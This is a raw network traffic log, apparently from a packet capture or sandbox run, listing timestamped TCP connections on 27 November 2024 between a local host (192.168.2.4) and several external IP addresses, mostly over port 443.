Nov 27, 2024 04:06:47.528393984 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.530791044 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.530896902 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.530905008 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.533179045 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.533273935 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.533279896 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.535691023 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.535748005 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.535756111 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.540446997 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.540513039 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.540520906 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.542860985 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.542902946 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.542907953 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.545310974 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.545407057 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.545430899 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.545438051 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.545473099 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.547986031 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.550313950 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.550354958 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.550363064 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.552731991 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.553080082 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.553086996 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.554394960 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.555063963 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.555069923 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.557662010 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.557708025 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.557713032 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.559334993 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.559381962 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.559387922 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.561101913 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.561156988 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.561162949 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.562693119 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.562895060 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.562902927 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.564446926 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.564697027 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.564703941 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.566168070 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.566435099 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.566440105 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.567851067 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.567931890 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.567939043 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.571086884 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.571223974 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.571249962 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.571258068 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.571295977 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.572788954 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.574485064 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.574536085 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.574542046 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.576668978 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.576888084 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.576895952 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.577940941 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.577995062 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.578001022 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.579586029 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.579710960 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.579716921 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.581280947 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.581518888 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.581526995 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.582971096 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.583017111 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.583022118 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.586206913 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.586247921 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.586253881 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.587933064 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.588037968 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.588046074 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.603902102 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.603956938 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.603966951 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.644525051 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.644575119 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.644579887 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.644593000 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.644630909 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.645242929 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.699203968 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.699215889 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.727009058 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.727073908 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.727085114 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.727760077 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.727818012 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.727824926 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.729041100 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.729124069 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.729130983 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.731755972 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.731822968 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.731832027 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.733160019 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.733202934 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.733211040 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.734592915 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.734631062 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.734636068 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.734647036 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.734708071 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.735984087 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.737464905 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.737524033 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.737535954 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.738857031 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.738914013 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.738924980 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.740333080 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.740391016 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.740400076 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.742979050 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.743057013 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.743062973 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.744405031 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.744512081 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.744541883 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.744549036 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.744616032 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.745807886 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.747204065 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.747251987 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.747261047 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.748795033 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.748856068 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.748862982 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.750138998 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.750193119 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.750207901 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.751564026 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.751611948 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.751620054 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.752948999 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.753062963 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.753070116 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.755752087 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.755789042 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.755956888 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.755965948 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.756052971 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.757060051 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.758476019 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.758526087 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.758533955 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.759989977 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.760037899 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.760046005 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.761377096 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.761421919 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.761429071 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.762795925 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.762840986 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.762849092 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.764214039 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.764261007 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.764267921 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.766928911 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.766971111 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.766989946 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.766997099 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.767031908 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.768333912 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.769040108 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.769357920 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.769366026 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.770066023 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.770119905 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.770126104 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.772365093 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.772455931 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.772479057 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.772488117 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.772521973 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.773495913 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.774671078 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.774719954 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.774728060 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.775937080 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.775989056 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.775995970 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.777050018 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.777093887 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.777100086 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.778213024 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.778486967 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.778491974 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.779309988 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.779453039 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.779459000 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.781568050 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.781608105 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.781613111 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.782727003 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.782795906 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.782818079 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.782824039 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.782857895 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.783854008 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.784049988 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.784096003 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.784323931 CET	49748	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:47.784351110 CET	443	49748	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:47.956095934 CET	443	49754	34.117.59.81	192.168.2.4
Nov 27, 2024 04:06:47.956470966 CET	49754	443	192.168.2.4	34.117.59.81
Nov 27, 2024 04:06:47.956487894 CET	443	49754	34.117.59.81	192.168.2.4
Nov 27, 2024 04:06:47.957505941 CET	443	49754	34.117.59.81	192.168.2.4
Nov 27, 2024 04:06:47.957573891 CET	49754	443	192.168.2.4	34.117.59.81
Nov 27, 2024 04:06:47.957973957 CET	49754	443	192.168.2.4	34.117.59.81
Nov 27, 2024 04:06:47.958031893 CET	443	49754	34.117.59.81	192.168.2.4
Nov 27, 2024 04:06:47.958241940 CET	49754	443	192.168.2.4	34.117.59.81
Nov 27, 2024 04:06:47.958250046 CET	443	49754	34.117.59.81	192.168.2.4
Nov 27, 2024 04:06:47.969409943 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.009131908 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.009141922 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.009152889 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.009222984 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.009244919 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.009254932 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.009329081 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.009588957 CET	49754	443	192.168.2.4	34.117.59.81
Nov 27, 2024 04:06:48.035495996 CET	49752	443	192.168.2.4	20.109.210.53
Nov 27, 2024 04:06:48.083332062 CET	443	49752	20.109.210.53	192.168.2.4
Nov 27, 2024 04:06:48.110148907 CET	49723	80	192.168.2.4	23.32.238.211
Nov 27, 2024 04:06:48.168227911 CET	443	49753	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:48.168771982 CET	49753	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:48.168844938 CET	443	49753	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:48.169203997 CET	443	49753	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:48.169810057 CET	49753	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:48.169886112 CET	443	49753	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:48.177027941 CET	49753	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:48.179537058 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.179610968 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.223000050 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.223010063 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.223046064 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.223071098 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.223195076 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.223195076 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.223208904 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.223335981 CET	443	49753	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:48.223391056 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.230484962 CET	80	49723	23.32.238.211	192.168.2.4
Nov 27, 2024 04:06:48.230581045 CET	49723	80	192.168.2.4	23.32.238.211
Nov 27, 2024 04:06:48.266989946 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.267024040 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.267153025 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.267153025 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.267163038 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.269682884 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.281764030 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.281840086 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.398663998 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.398751020 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.423787117 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.423829079 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.423868895 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.423878908 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.423908949 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.429779053 CET	443	49754	34.117.59.81	192.168.2.4
Nov 27, 2024 04:06:48.429861069 CET	443	49754	34.117.59.81	192.168.2.4
Nov 27, 2024 04:06:48.429924965 CET	49754	443	192.168.2.4	34.117.59.81
Nov 27, 2024 04:06:48.431242943 CET	49754	443	192.168.2.4	34.117.59.81
Nov 27, 2024 04:06:48.431262016 CET	443	49754	34.117.59.81	192.168.2.4
Nov 27, 2024 04:06:48.448210001 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.448249102 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.448292971 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.448302984 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.448338985 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.448359013 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.482215881 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.482235909 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.482307911 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.482315063 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.482363939 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.487063885 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.487134933 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.582180977 CET	443	49752	20.109.210.53	192.168.2.4
Nov 27, 2024 04:06:48.582206964 CET	443	49752	20.109.210.53	192.168.2.4
Nov 27, 2024 04:06:48.582215071 CET	443	49752	20.109.210.53	192.168.2.4
Nov 27, 2024 04:06:48.582228899 CET	443	49752	20.109.210.53	192.168.2.4
Nov 27, 2024 04:06:48.582262039 CET	443	49752	20.109.210.53	192.168.2.4
Nov 27, 2024 04:06:48.582289934 CET	49752	443	192.168.2.4	20.109.210.53
Nov 27, 2024 04:06:48.582321882 CET	443	49752	20.109.210.53	192.168.2.4
Nov 27, 2024 04:06:48.582340956 CET	49752	443	192.168.2.4	20.109.210.53
Nov 27, 2024 04:06:48.582371950 CET	49752	443	192.168.2.4	20.109.210.53
Nov 27, 2024 04:06:48.601335049 CET	443	49752	20.109.210.53	192.168.2.4
Nov 27, 2024 04:06:48.601402044 CET	49752	443	192.168.2.4	20.109.210.53
Nov 27, 2024 04:06:48.601407051 CET	443	49752	20.109.210.53	192.168.2.4
Nov 27, 2024 04:06:48.602032900 CET	49752	443	192.168.2.4	20.109.210.53
Nov 27, 2024 04:06:48.602617979 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.602638006 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.602689028 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.602710009 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.602747917 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.606142998 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.606208086 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.626311064 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.626382113 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.626420021 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.626456022 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.626472950 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.626494884 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.641997099 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.642043114 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.642091036 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.642111063 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.642124891 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.657347918 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.657387972 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.657407045 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.657428026 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.657443047 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.657474041 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.660516977 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.660573006 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.660579920 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.660598040 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.660618067 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.660646915 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.661284924 CET	49751	443	192.168.2.4	13.227.8.44
Nov 27, 2024 04:06:48.661298990 CET	443	49751	13.227.8.44	192.168.2.4
Nov 27, 2024 04:06:48.737339973 CET	443	49753	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:48.737473965 CET	443	49753	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:48.737529993 CET	49753	443	192.168.2.4	91.208.197.216
Nov 27, 2024 04:06:48.737592936 CET	443	49753	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:48.737682104 CET	443	49753	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:48.737741947 CET	443	49753	91.208.197.216	192.168.2.4
Nov 27, 2024 04:06:48.737782001 CET	49753	443	192.168.2.4	91.208.197.216
